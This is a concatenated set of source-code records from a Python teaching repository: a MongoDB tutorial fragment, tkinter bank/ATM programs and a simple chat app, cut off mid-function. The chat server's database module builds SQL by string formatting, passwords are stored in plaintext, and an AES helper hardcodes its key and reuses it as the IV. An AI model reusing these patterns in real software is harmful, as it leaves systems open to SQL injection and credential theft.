mongodb://develop:developpwd@localhost:27017/blog\n\n```\n\n\n\n至此,用户验证处理完成。\n\n## 4\\. 一些用户操作命令\n\n提示: 需要使用管理员账户来操作\n\n#### 创建用户\n\n\n\n```\ndb.createUser({\n user:用户名,\n pwd:密码, \n roles:[\n { role:权限类型, db:可访问的db}\n ]\n})\n\n```\n\n\n\n#### 查看用户列表\n\n\n\n```\ndb.system.users.find()\n\n```\n\n\n\n#### 查看某个用户信息\n\n\n\n```\ndb.runCommand({usersInfo:用户名})\n\n```\n\n\n\n#### 修改用户信息\n\n\n\n```\ndb.runCommand(\n {\n updateUser:用户名,\n pwd:密码,\n customData:{title:\"xxx\"……}\n }\n)\n\n```\n\n\n\n#### 修改用户密码\n\n\n\n```\ndb.changeUserPassword(‘user’,’pwd’);\n\n```\n\n\n\n#### 删除用户\n\n\n\n```\ndb.system.users.remove({user:”username”});\n\n```\n\n" }, { "alpha_fraction": 0.485688716173172, "alphanum_fraction": 0.5102862119674683, "avg_line_length": 30.882352828979492, "blob_id": "f0599df5869a07fd0bd1609c126d318f234e569e", "content_id": "cde55d81df73be4c11992509127ee5f3d2d43533", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2416, "license_type": "permissive", "max_line_length": 104, "num_lines": 68, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/Views/view_win3.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\n\r\nimport tkinter as tk\r\nimport tkinter.messagebox # 这个是消息框,对话框的关键\r\nfrom Control.atm import ATM\r\n\r\n'''\r\n 存款、取款通用页面\r\n'''\r\n\r\n\r\nclass Input_money(tk.Toplevel):\r\n def __init__(self, parent, db, card):\r\n super().__init__()\r\n self.db = db\r\n self.card = card\r\n self.type = self.change_type(parent.type)\r\n self.title(\"操作\")\r\n self.parent = parent # 显式地保留父窗口\r\n self.money = tk.StringVar() # 输入框输入的钱数\r\n\r\n self.photo = tkinter.PhotoImage(file=\"Views/Image/2.png\") # 图片路径\r\n self.photo1 = tk.PhotoImage(file=\"Views/Image/bg1.png\")\r\n\r\n self.setupUI() # 这一句写在最下面\r\n\r\n def change_type(self, type):\r\n if type == 1:\r\n type = \"取款\"\r\n elif type == 2:\r\n type = \"存款\"\r\n\r\n\r\n # 取款/存款\r\n def func1(self):\r\n res = ATM.Withdraw_money(1, self.db, self.card.card_id, int(self.money.get()), self.parent.type)\r\n if res == 1:\r\n self.parent.message1.set(\"操作成功\")\r\n if self.parent.type == 1:\r\n money = int(self.parent.money.get()) - int(self.money.get())\r\n else:\r\n money = int(self.parent.money.get()) + int(self.money.get())\r\n self.parent.money.set(money)\r\n else:\r\n self.parent.message1.set(res)\r\n self.destroy()\r\n\r\n\r\n # 程序主页面\r\n def setupUI(self):\r\n imgLabel = tkinter.Label(self,\r\n image=self.photo, width=300, height=200, compound=tkinter.CENTER,\r\n )\r\n imgLabel.place(x=0, y=0)\r\n\r\n text_label = tk.Label(self, text=\"输入金额:\", fg=\"white\", font=(\"宋体\", 11),\r\n image=self.photo1, width=80, height=30, compound=tkinter.CENTER)\r\n # 金额输入框\r\n money_entry = tk.Entry(self, textvariable=self.money, width=20, bd=5)\r\n\r\n button1 = tk.Button(self, text=\"确认\", command=self.func1,\r\n image=self.photo1, width=140, height=30, compound=tkinter.CENTER,\r\n font=(\"宋体\", 14),\r\n fg=\"white\", ) # 自身的颜色\r\n\r\n text_label.place(x=3, y=40)\r\n money_entry.place(x=110, y=45)\r\n button1.place(x=115, y=120)\r\n" }, { "alpha_fraction": 0.5520362257957458, "alphanum_fraction": 0.5668016076087952, "avg_line_length": 33.70248031616211, "blob_id": "4d4c187501f048a3bb8f71f2d76eda864c87d056", "content_id": "cc177b507af9bddd99144e84dace52b735bfef7a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4303, "license_type": "permissive", "max_line_length": 90, "num_lines": 121, "path": "/py-basis/QQ简易版/server/server_window.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 服务端界面模块\n@Time : 2018/8/19 下午9:35\n@Author : 北冥神君\n@File : server_window.py\n@Software: PyCharm\n\"\"\"\n\n\nfrom tkinter import *\nfrom threading import Thread\nimport os\n\nfrom . import memory, server_socket, setting\n\n\nclass ServerForm(Frame):\n\n def __init__(self, master=None):\n super().__init__(master)\n memory.window = self\n self.master = master\n self.master.resizable(width=False, height=False)\n self.port_frame = Frame(self.master)\n self.list_frame = Frame(self.master)\n self.bottom_frame = Frame(self.master)\n\n self.ip_label = Label(self.port_frame, text='ip地址')\n self.ip_var = StringVar()\n self.ip_var.set(setting.Stetting.SORKET_IP.value) # 从配置文件配置获取ip\n self.ip_entry = Entry(self.port_frame, textvariable=self.ip_var)\n self.port_label = Label(self.port_frame, text='ip端口')\n self.port_var = StringVar()\n self.port_var.set(setting.Stetting.SORKET_PORT.value) # 从配置文件配置获取端口\n self.port_entry = Entry(self.port_frame, textvariable=self.port_var)\n self.start_server_button = Button(self.port_frame,\n text='开启server',\n command=self.do_open_server)\n self.stop_server_button = Button(self.port_frame,\n text='关闭server',\n command=self.do_close_server)\n\n self.ip_label.grid(row=0, column=0, ipadx=5)\n self.ip_entry.grid(row=0, column=1, padx=2)\n self.port_label.grid(row=0, column=2, padx=2)\n self.port_entry.grid(row=0, column=3, padx=2, ipadx=5)\n self.start_server_button.grid(row=1, column=0, columnspan=2)\n self.stop_server_button.grid(row=1, column=2, columnspan=2)\n\n self.list_scorll = Scrollbar(self.list_frame)\n self.list_scorll.pack(side=RIGHT, fill=Y)\n self.user_list = Listbox(self.list_frame,\n width=50,\n height=30,\n yscrollcommand=self.list_scorll.set)\n self.user_list.bind('Visibility', self.add_user_list)\n self.user_list.pack(side=LEFT, ipadx=5, ipady=5, fill=BOTH)\n self.list_scorll.config(command=self.user_list.yview)\n\n self.infofreshbtn = Button(self.bottom_frame,\n text='刷新用户列表',\n command=self.add_user_list)\n self.infofreshbtn.pack(side=RIGHT)\n\n self.port_frame.grid(row=0, column=0)\n self.list_frame.grid(row=1, column=0)\n self.bottom_frame.grid(row=2, column=0)\n\n def get_ip(self):\n return self.ip_var.get()\n\n def get_port(self):\n return self.port_var.get()\n\n def do_close_server(self):\n memory.server_socket_listener.close()\n memory.server_socket.close()\n memory.online_user.clear()\n\n def do_open_server(self):\n memory.server_socket_listener = server_socket.\\\n server(self.get_ip(), self.get_port())\n t1 = Thread(target=server_socket.server_handler,\n args=(memory.server_socket_listener,))\n t1.start()\n t1.join(1)\n # qq_server = server_socket.QQ_Server(self.get_ip(), self.get_port())\n # memory.server_socket_listener = qq_server.socket\n # t1 = Thread(target=qq_server.server_handler,\n # args=(qq_server.distribute_handler, memory.server_socket_listener,))\n # t1.start()\n # t1.join(1)\n\n def add_user_list(self):\n self.user_list.delete(\"0\", END)\n for key in memory.online_user:\n t = memory.online_user[key]\n self.user_list.insert(END, '{:30}{:30}{:15}'\n .format(t[0], t[1], t[2]))\n\n def close_window(self):\n try:\n memory.server_socket.close()\n except Exception:\n pass\n os._exit(0)\n\n\ndef run():\n root = Tk()\n root.title('服务端后台')\n ServerForm(root)\n root.protocol(\"WM_DELETE_WINDOW\", memory.window.close_window)\n root.mainloop()\n\n\nif __name__ == \"__main__\":\n run()\n" }, { "alpha_fraction": 0.4572942554950714, "alphanum_fraction": 0.4616583585739136, "avg_line_length": 24.957983016967773, "blob_id": "29566b08bb45b17b53c49b96a6b9690a5485b011", "content_id": "cfc6235518fd675bc3d4357ac8f49a30c1491f89", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3424, "license_type": "permissive", "max_line_length": 81, "num_lines": 119, "path": "/py-basis/各组银行系统带界面/第三组/csvload.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "GB18030", "text": "# -*- coding:gbk -*-\r\nimport csv\r\nfrom functools import reduce\r\n\r\nclass Person:\r\n def __init__(self, name, cards, pwd, score, id, flag):\r\n self.name = name #姓名\r\n self.cards = cards #卡号\r\n self.__pwd = pwd #密码\r\n self.__score = score #余额\r\n self.__id = id #身份证号\r\n self.__flag = flag #锁定状态\r\n\r\n def setPwd(self, pwd):\r\n self.__pwd = pwd\r\n def getPwd(self):\r\n return self.__pwd\r\n\r\n def setScore(self,score):\r\n self.__score = score\r\n def getScore(self):\r\n return self.__score\r\n\r\n def getId(self):\r\n return self.__id\r\n\r\n def setFlag(self,flag):\r\n self.__flag = flag\r\n def getFlag(self):\r\n return self.__flag\r\n\r\n\r\nli = [] #对象列表\r\n\r\n\r\n#将列表转化为字符串\r\ndef Turn( li ):\r\n def add(x, y):\r\n return x + \",\" + y\r\n words = reduce(add, li) #用reduce进行迭代\r\n return words.strip()\r\n\r\ndef loading(): #载入数据\r\n with open('Bank.csv', 'r', encoding='gbk', errors=\"ignore\") as csvfile:\r\n readCSV = csv.reader(csvfile, delimiter=',')\r\n for row in readCSV:\r\n li.append(Person(row[0], row[1], row[2], row[3], row[4], row[5]))\r\n csvfile.close()\r\n\r\ndef Writing(): #存储数据\r\n outfile = open('Bank.csv', 'w',encoding='gbk', newline='')\r\n writer = csv.writer(outfile)\r\n for i in li:\r\n li2 = [i.name, i.cards, i.getPwd(), i.getScore(), i.getId(), i.getFlag()]\r\n writer.writerow(li2)# 将数据写入文件\r\n outfile.close()\r\n\r\ndef isPerson(cards, pwd): #判断卡号和密码是否存在\r\n for i in li:\r\n if i.cards == cards and i.getPwd() == pwd:\r\n return i #返回对象\r\n return False\r\n\r\ndef Lock(me, id, flag): #锁定操作,flag为0表示解锁,1表示锁定\r\n if me.getId() == id:\r\n for i in li:\r\n if i == me:\r\n if flag == 1:\r\n i.setFlag(\"锁定\")\r\n elif flag == 0:\r\n i.setFlag(\"未锁定\")\r\n return i\r\n else:\r\n return False\r\n\r\ndef saveScore(me, score, flag): #存取款\r\n if me.getFlag() == \"锁定\":\r\n return False\r\n for i in li:\r\n if i == me:\r\n if flag == \"+\":\r\n i.setScore(str(int(i.getScore()) + int(score)))\r\n elif flag == \"-\":\r\n temp = int(i.getScore()) - int(score)\r\n if temp < 0:\r\n return \"负数\"\r\n else:\r\n i.setScore(str(temp))\r\n return i\r\n\r\ndef changePwd(me, old, new): #修改密码\r\n for i in li:\r\n if i == me:\r\n if old == i.getPwd():\r\n i.setPwd(new)\r\n return i\r\n else:\r\n return False\r\n\r\ndef reInfo(cards): #返回持卡人信息\r\n for i in li:\r\n if i.cards == cards:\r\n return i.name\r\n return False\r\n\r\ndef toScore(me, cards, money): #转账\r\n if me.getFlag() == \"锁定\":\r\n return False\r\n for i in li:\r\n if i == me:\r\n temp = int(me.getScore()) - int(money)\r\n if temp < 0:\r\n return \"负数\"\r\n else:\r\n me.setScore(str(temp))\r\n for i in li:\r\n if i.cards == cards:\r\n i.setScore(str(int(i.getScore()) + int(money)))\r\n return me\r\n" }, { "alpha_fraction": 0.45772266387939453, "alphanum_fraction": 0.4738819897174835, "avg_line_length": 21.25438690185547, "blob_id": "40611ae3dbb8f51a9a78cf4e0e79408578df718e", "content_id": "7c2243b3f20c3d5b5eba9f61d4614774816bf75b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3135, "license_type": "permissive", "max_line_length": 54, "num_lines": 114, "path": "/py-basis/各组银行系统带界面/第五组/银行系统/main.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nfrom bank import Bank\r\nfrom atm import ATM\r\nfrom user import User\r\nfrom card import Card\r\n\r\nimport time\r\n'''\r\n人:User\r\n属性:姓名 身份证号码 电话号 卡(多张卡 {卡号:卡对象,……} )\r\n行为:插卡 输入信息\r\n\r\n卡:Card\r\n属性:卡号 密码 余额 是否锁定\r\n行为:\r\n\r\n提款机:ATM\r\n属性:系统账号 系统密码 余额 是否正常\r\n行为:\r\n 开机界面、欢迎界面、操作界面\r\n 修改系统密码、提额\r\n 开户、查询、存款、取款、转账、改密、锁定、解锁、注销、补卡、退出\r\n\r\n银行(单例):Bank\r\n属性:用户字典({身份证号:用户对象, ……})\r\n行为:\r\n'''\r\n#创建银行对象\r\nBANK = Bank()\r\natmMachine = ATM()\r\natmMachine.money = 10000\r\n\r\n\r\ndef main():\r\n while True:\r\n #展示开机界面\r\n atmMachine.atmInitView()\r\n #接收操作\r\n optionStr = input(\"请输入操作:\")\r\n #匹配操作\r\n if optionStr == \"11\":\r\n res = atmMachine.checkPasswd()\r\n if not res:\r\n # 循环进入欢迎界面\r\n time.sleep(2)\r\n welcome()\r\n elif optionStr == \"22\":\r\n atmMachine.shutDown()\r\n break\r\n elif optionStr == \"33\":\r\n atmMachine.addMoney()\r\n elif optionStr == \"44\":\r\n atmMachine.changeAtmPasswd()\r\n\r\n time.sleep(2)\r\n\r\n\r\ndef welcome():\r\n while True:\r\n atmMachine.welcomeView()\r\n # 接收操作\r\n optionStr = input(\"请输入操作:\")\r\n # 匹配操作\r\n if optionStr == \"111\":\r\n # 循环进入操作界面\r\n res = atmMachine.checkCard()\r\n if res:\r\n time.sleep(2)\r\n option(res[0], res[1])\r\n time.sleep(2)\r\n elif optionStr == \"222\":\r\n atmMachine.createCard()\r\n elif optionStr == \"333\":\r\n atmMachine.reisse()\r\n elif optionStr == \"444\":\r\n print(\"返回开机界面……\")\r\n break\r\n time.sleep(2)\r\n\r\n\r\ndef option(user, card):\r\n while True:\r\n atmMachine.optionsView(user.name, card.cardId)\r\n # 接收操作\r\n optionStr = input(\"请输入操作:\")\r\n # 匹配操作\r\n if optionStr == \"1\":\r\n atmMachine.searchCard(card)\r\n elif optionStr == \"2\":\r\n atmMachine.transfer(card)\r\n elif optionStr == \"3\":\r\n atmMachine.deposit(card)\r\n elif optionStr == \"4\":\r\n atmMachine.withdrawal(card)\r\n elif optionStr == \"5\":\r\n ret = atmMachine.changepasswd(card)\r\n if not ret:\r\n break\r\n elif optionStr == \"6\":\r\n ret = atmMachine.logout(card)\r\n if not ret:\r\n break\r\n elif optionStr == \"7\":\r\n atmMachine.lock(user,card)\r\n\r\n elif optionStr == \"8\":\r\n atmMachine.unlock(user, card)\r\n elif optionStr == \"9\":\r\n break\r\n\r\n time.sleep(2)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5402061939239502, "alphanum_fraction": 0.5458762645721436, "avg_line_length": 30.80327796936035, "blob_id": "a0db3dac04aac7a33bcb892e37c14313c3238d20", "content_id": "dda0391cb9328b6696cace8e113398772d32a6e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2022, "license_type": "permissive", "max_line_length": 111, "num_lines": 61, "path": "/py-basis/树状目录层级/treeWindows.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\nimport tkinter\nfrom tkinter import ttk\nimport os\n\nclass TreeWindows(tkinter.Frame):\n def __init__(self, master, path, other):\n self.other = other\n\n frame = tkinter.Frame(master)\n frame.grid(row=0,column=0)\n\n self.tree = tkinter.ttk.Treeview(frame)\n self.tree.pack(side=tkinter.LEFT, fill=tkinter.Y)\n\n #头部\n self.tree.heading(\"#0\",text=\"Path\")\n\n #滚动条\n self.sy = tkinter.Scrollbar(frame)\n self.sy.pack(side=tkinter.RIGHT, fill=tkinter.Y)\n self.sy.config(command=self.tree.yview)\n self.tree.config(yscrollcommand=self.sy.set)\n\n #插入一个节点\n root = self.tree.insert(\"\",\"end\",text=os.path.split(path)[1], open=True, values=(path))\n self.loadtree(root, path)\n\n #绑定事件\n self.tree.bind( \"<<TreeviewSelect>>\" ,self.func)\n\n\n\n\n def loadtree(self, parent, rootpath):\n # 遍历当前目录\n for path in os.listdir(rootpath):\n # 路径链接\n abspath = os.path.join(rootpath, path)\n # 插入树枝\n oid = self.tree.insert(parent, 'end', text=os.path.split(abspath)[1], open=False, values=(abspath))\n if os.path.isdir(abspath):\n # 递归回去\n if os.path.splitext(abspath)[1] != \".mindnode\":\n self.loadtree(oid, abspath)\n\n\n def func(self, event):\n self.select = event.widget.selection() # 选择\n for idx in self.select:\n file = self.tree.item(idx)[\"text\"]\n filePath = self.tree.item(idx)[\"values\"][0]\n # print(file)\n # print(filePath)\n self.other.entryVar.set(file)\n if os.path.splitext(filePath)[1] == \".py\":\n #读取文件内容\n with open(filePath, \"r\") as f:\n # print(f.read())\n self.other.txt.delete(0.0, tkinter.END)\n self.other.txt.insert(tkinter.INSERT, f.read())\n" }, { "alpha_fraction": 0.5395781993865967, "alphanum_fraction": 0.5842235088348389, "avg_line_length": 24.00684928894043, "blob_id": "5ee797dead2d0957cd9ca6f66314d6af268d3375", "content_id": "47594f4e657d0accccc60e9a8e0a4689c136eefa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3685, "license_type": "permissive", "max_line_length": 78, "num_lines": 146, "path": "/py-basis/QQ简易版/client/common_handler.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 处理程序模块\n@Time : 2018/8/19 下午9:23\n@Author : 北冥神君\n@File : common_handler.py\n@Software: PyCharm\n\"\"\"\n\n\nimport struct\nfrom Crypto.Cipher import AES\nfrom binascii import b2a_hex, a2b_hex\n\n\nclass prpcrypt():\n\n def __init__(self, key):\n self.key = key\n self.mode = AES.MODE_CBC\n\n def encrypt(self, text):\n '''\n Encrypt emthod.\n\n The encrypt key must be 16(AES-128) / 24(AES-192) / 32(AES-256) bytes.\n If text not the multiplier of 16, must be complemented.\n After encrypt, change to Hexadecimal.\n '''\n cryptor = AES.new(self.key, self.mode, self.key)\n # text = text.encode(\"utf-8\")\n length = 16\n count = len(text)\n add = length - (count % length)\n text = text + (b'\\0' * add)\n self.ciphertext = cryptor.encrypt(text)\n return b2a_hex(self.ciphertext)\n\n def decrypt(self, text):\n '''\n Decrypt method.\n After decrypt, use strip() cut blanks.\n '''\n cryptor = AES.new(self.key, self.mode, self.key)\n plain_text = cryptor.decrypt(a2b_hex(text))\n return plain_text.rstrip(b'\\0')\n\n\ndef pack_message(MessageType, *args):\n fmt = ''\n for i in args:\n if isinstance(i, int):\n fmt += \"L\"\n elif isinstance(i, bytes):\n fmt += str(len(i)) + \"s\"\n elif isinstance(i, float):\n fmt += \"f\"\n print(\"fmt>>\", fmt)\n serializeMessage = struct.pack(fmt, *args)\n fmt = fmt.encode()\n fmt_send = \"!LLL\" + str(len(fmt)) + \"s\" + str(len(serializeMessage)) + \"s\"\n serializeData = struct.pack(fmt_send, MessageType, len(fmt),\n len(serializeMessage), fmt, serializeMessage)\n pack_to_send = prpcrypt(\"jeremyjonejeremy\").encrypt(serializeData)\n return pack_to_send\n\n\ndef unpack_message(data):\n serializeMessage = prpcrypt(\"jeremyjonejeremy\").decrypt(data)\n if struct.unpack_from(\"!L\", serializeMessage)[0] > 200:\n # 表示坏球了\n return struct.unpack_from(\"!L\", serializeMessage)\n\n fmt = \"!LLL\"\n # layer1\n _t = struct.unpack_from(fmt, serializeMessage)\n # MessageType\n get_message = [_t[0]]\n fmt += str(_t[1]) + \"s\" + str(_t[2]) + \"s\"\n # layer2\n _msg = struct.unpack(fmt, serializeMessage)\n # layer3\n res = struct.unpack(_msg[3].decode(), _msg[4])\n for i in res:\n # get a list ---> [MessageType, data1, data2 ...]\n get_message.append(i)\n return get_message\n\n\nclass MessageType:\n # === Client Action 1-100\n # username, password\n login = 1\n # username, passowrd, nickname\n register = 2\n friend_list = 3\n add_friend = 4\n confirm_friend_request = 5\n delete_friend = 6\n query_friend = 7\n\n send_message = 11\n chatroom_message = 12\n\n join_room = 21\n create_room = 22\n query_room_users = 23\n leave_room = 24\n bad = 44\n\n logout = 88\n\n # === Server Action 101-200\n login_successful = 100\n register_successful = 101\n contact_info = 103\n chat_history = 104\n query_friend_list = 105\n add_friend_request = 106\n add_friend_result = 107\n friend_on_off_line = 108\n\n large_file = 111\n\n create_room_res = 114\n query_room_users_result = 115\n room_user_on_off_line = 116\n\n on_new_message = 121\n chatroom_msg = 122\n incoming_friend_request = 123\n join_leave_chatroom = 124\n\n delete_friend_failed = 141\n\n broadcast = 198\n broadcast_to_client = 199\n\n # === Failure 201-300\n login_failed = 201\n username_taken = 202\n general_failure = 203\n general_msg = 204\n user_not_exist = 205\n" }, { "alpha_fraction": 0.5052187442779541, "alphanum_fraction": 0.5110514163970947, "avg_line_length": 36.228572845458984, "blob_id": "b15e8f914721bd3cbcb3568db57a3fa6f8c3fdc9", "content_id": "3fe8170b9e42d6036f2dc1d55ec93609bfbc136f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13076, "license_type": "permissive", "max_line_length": 82, "num_lines": 350, "path": "/py-basis/QQ简易版/server/DB_Handler.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 服务端数据库模块\n@Time : 2018/8/19 下午9:33\n@Author : 北冥神君\n@File : DB_Handler.py\n@Software: PyCharm\n\"\"\"\n\nfrom server.setting import Stetting\nimport pymysql\nimport re\n\n\nclass DB_Handler(object):\n\n def __init__(self):\n self.local = Stetting.MYSQL_HOST.value\n self.db_login_name = Stetting.MYSQL_USERNAME.value\n self.db_login_pswd = Stetting.MYSQL_PASSWORD.value\n self.db = 'chatroom'\n self.userinfo = \"userinfo\"\n self.chatmsg = \"chatmsg\"\n self.userfriend = \"userfriend\"\n self.chatroom = \"chatroom\"\n self.chatroomuser = \"chatroom_user\"\n self.charset = \"utf8\"\n\n def connect_to_DB(self, sql_statment):\n '''\n Connect to database by base infomation and create database\n handler module, it can receive one SQL and execute.\n\n If operate successfully return OK, conversely return NG.\n '''\n _ = None\n sql = pymysql.connect(self.local,\n self.db_login_name,\n self.db_login_pswd,\n self.db,\n charset=self.charset)\n # Create cursor\n cursor = sql.cursor()\n\n try:\n flag = re.search(r'^(select)\\s', sql_statment).group(1)\n except Exception:\n flag = \"\"\n\n if flag == \"select\":\n cursor.execute(sql_statment)\n data = cursor.fetchall()\n _ = data\n else:\n # If not query\n try:\n cursor.execute(sql_statment)\n sql.commit()\n _ = 'OK'\n except Exception as e:\n sql.rollback()\n print(e)\n _ = \"NG\"\n # close cursor\n cursor.close()\n # close database\n sql.close()\n return _\n\n def user_exist(self, name):\n '''\n Judge whether the user exists or not.\n '''\n if re.findall(r'^\\d+$', name):\n statment = 'select username\\\n from %s where id=%s;' % (self.userinfo, name)\n else:\n statment = 'select username\\\n from %s where username=\"%s\";' %\\\n (self.userinfo, name)\n res = self.connect_to_DB(statment)\n if res:\n return res[0]\n\n def register(self, name, pswd, nick):\n '''\n User registration, receiving registration information, first\n check whether the username exists, and then fill in the\n registration information into the database.\n '''\n # nick = nick.encode()\n res = self.user_exist(name)\n if res == 'EXIST':\n return 'NAMEEXIST'\n else:\n statment = 'insert into %s (username,\\\n password, nickname, isActive) values (\"%s\", \"%s\", \"%s\", 1);'\\\n % (self.userinfo, name, pswd, nick)\n res2 = self.connect_to_DB(statment)\n if res2 == 'OK':\n return 'OK'\n else:\n return 'NG'\n\n def login_check(self, name, pswd):\n '''\n Check the user's login information, when received data, return OK\n '''\n statment = 'select username, password from %s\\\n where username=\"%s\" and isActive=1;' % (self.userinfo, name)\n res = self.connect_to_DB(statment)\n if res:\n # 判断返回值的密码\n if pswd == res[0][1]:\n return 'OK'\n else:\n return 'NG'\n\n def change_password(self, name, old_pswd, new_pswd):\n '''\n Change the password, First query the username and password.\n If matching successful, try to change the password. As long\n as modify failed, the return value is NG.\n '''\n statment1 = 'select username, password from %s\\\n where username=\"%s\" and isActive=1;' % (self.userinfo, name)\n res = self.connect_to_DB(statment1)\n if res:\n # Judge the password\n if old_pswd == res[0][1]:\n # Modify the password with the current one\n statment2 = 'update %s set password=\"%s\"\\\n where username=\"%s\";' % (self.userinfo, new_pswd, name)\n res2 = self.connect_to_DB(statment2)\n if res2 == 'OK':\n return 'OK'\n # Return NG as long as no changes have been made\n return 'NG'\n\n def user_friend(self, name):\n '''\n View friends and return to the list of friends.\n '''\n statment = 'select %s.username, %s.nickname from %s inner join %s\\\n on %s.friend_id=%s.id where (%s.user_id=(select id from userinfo\\\n where username=\"%s\") and %s.isActive=1);' % (self.userinfo,\n self.userinfo,\n self.userfriend,\n self.userinfo,\n self.userfriend,\n self.userinfo,\n self.userfriend,\n name,\n self.userfriend)\n res = self.connect_to_DB(statment)\n if res:\n friend_list = []\n for i in res:\n friend_list.append(\"%s:%s\" % (i[0], i[1]))\n return friend_list\n else:\n return \"NF\"\n\n def user_add_friend(self, name, friend_name):\n '''\n Add friends to the database.\n '''\n statment1 = 'insert into %s (user_id, friend_id, isActive)\\\n values ((select id from %s where username=\"%s\"),\\\n (select id from %s where username=\"%s\"), 1);' % (\n self.userfriend, self.userinfo, name, self.userinfo, friend_name)\n res1 = self.connect_to_DB(statment1)\n\n statment2 = 'insert into %s (user_id, friend_id, isActive)\\\n values ((select id from %s where username=\"%s\"),\\\n (select id from %s where username=\"%s\"), 1);' % (\n self.userfriend, self.userinfo, friend_name, self.userinfo, name)\n res2 = self.connect_to_DB(statment2)\n\n if res1 == res2 == 'OK':\n return 'OK'\n else:\n return 'NG'\n\n def user_del_friend(self, name, friend_name):\n '''\n Delete one friend in database.\n In table userfriend, the value of isActive is changed to 0\n '''\n statment1 = 'update %s set isActive=0\\\n where user_id=(select id from %s where username=\"%s\") and\\\n friend_id=(select id from %s where username=\"%s\");' %\\\n (self.userfriend, self.userinfo, name, self.userinfo, friend_name)\n statment2 = 'update %s set isActive=0\\\n where user_id=(select id from %s where username=\"%s\") and\\\n friend_id=(select id from %s where username=\"%s\");' %\\\n (self.userfriend, self.userinfo, friend_name, self.userinfo, name)\n res1 = self.connect_to_DB(statment1)\n res2 = self.connect_to_DB(statment2)\n if res1 == res2 == 'NG':\n return 'NG'\n else:\n return 'OK'\n\n def get_user_nickname(self, name):\n '''\n Get user's nickname.\n '''\n statment = 'select nickname from %s where username=\"%s\";'\\\n % (self.userinfo, name)\n try:\n return self.connect_to_DB(statment)[0]\n except Exception:\n return 'Unknown user'\n\n def save_msg(self, name, target_user, isRead, msg_type, msg):\n '''\n Save normal chat message, broadcast, chatroom message in DB.\n '''\n statment = 'insert into %s (user_id, target_id,\\\n isRead, msg_type, msg, isActive) values (\\\n (select id from %s where username=\"%s\"),\\\n (select id from %s where username=\"%s\"), %d, %d, \"%s\", %d);'\\\n % (self.chatmsg, self.userinfo, name, self.userinfo,\n target_user, isRead, msg_type, msg, 1)\n res = self.connect_to_DB(statment)\n if res == 'OK':\n return 'OK'\n else:\n return 'NG'\n\n def get_unread_msg(self, name):\n '''\n Get user's chat message, return msg and change isRead to 0.\n '''\n statment = 'select user_id, send_time, msg_type, msg from %s\\\n where target_id=(select id from %s where username=\"%s\" and\\\n isRead=1);' % (self.chatmsg, self.userinfo, name)\n res = self.connect_to_DB(statment)\n if res:\n _statment = 'update %s set isRead=0 where target_id=(select id from\\\n %s where username=\"%s\" and isRead=1);' % (\n self.chatmsg, self.userinfo, name)\n self.connect_to_DB(_statment)\n return res\n\n def create_chatroom(self, chatroom_name):\n '''\n Create a new chatroom, first check whether the chatroom exists,\n and then fill in the create information into the database.\n '''\n # chatroom_name = chatroom_name.encode()\n statment1 = 'select chatroom_name\\\n from %s where chatroom_name=\"%s\";' % (self.chatroom, chatroom_name)\n res = self.connect_to_DB(statment1)\n if res:\n return 'EXIST'\n else:\n statment2 = 'insert into %s (chatroom_name, isActive) values\\\n (\"%s\", %d);' % (self.chatroom, chatroom_name, 1)\n res1 = self.connect_to_DB(statment2)\n if res1 == \"OK\":\n return \"OK\"\n return \"NG\"\n\n def chatroom_user(self, chatroom_name, name, user_handler):\n '''\n Manage user in chatroom, when user join a chatroom, insert one record,\n and when user leave a chatroom, its isActive value is changed to 0.\n '''\n # Join operation\n # chatroom_name = chatroom_name.encode()\n if user_handler == 'join':\n statment = 'insert into %s (chatroom_id, user_id, isActive) values\\\n ((select id from %s where chatroom_name=\"%s\"),\\\n (select id from %s where username=\"%s\"),1);' %\\\n (self.chatroomuser, self.chatroom, chatroom_name,\n self.userinfo, name)\n # Out operation\n elif user_handler == \"leave\":\n statment = 'update %s set isActive=0 where\\\n chatroom_id=(select id from %s where chatroom_name=\"%s\") and\\\n user_id=(select id from %s where username=\"%s\");' %\\\n (self.chatroomuser, self.chatroom, chatroom_name,\n self.userinfo, name)\n res = self.connect_to_DB(statment)\n if res == \"OK\":\n return \"OK\"\n return \"NG\"\n\n def get_username_by_id(self, uid):\n '''\n Get username.\n '''\n statment = 'select username from %s where id=\"%d\" and isActive=1;'\\\n % (self.userinfo, uid)\n try:\n return self.connect_to_DB(statment)[0]\n except Exception:\n return 'qurey NG'\n\n def get_chatroom_user(self, chatroom_name):\n '''\n Get all of users in this chatroom.\n '''\n # chatroom_name = chatroom_name.encode()\n statment = 'select userinfo.username, userinfo.nickname from\\\n userinfo where userinfo.id=any(select chatroom_user.user_id from\\\n chatroom_user where chatroom_user.chatroom_id=(select chatroom.id\\\n from chatroom where chatroom.chatroom_name=\"%s\"));' % chatroom_name\n\n res = self.connect_to_DB(statment)\n if res:\n friend_list = []\n for i in res:\n 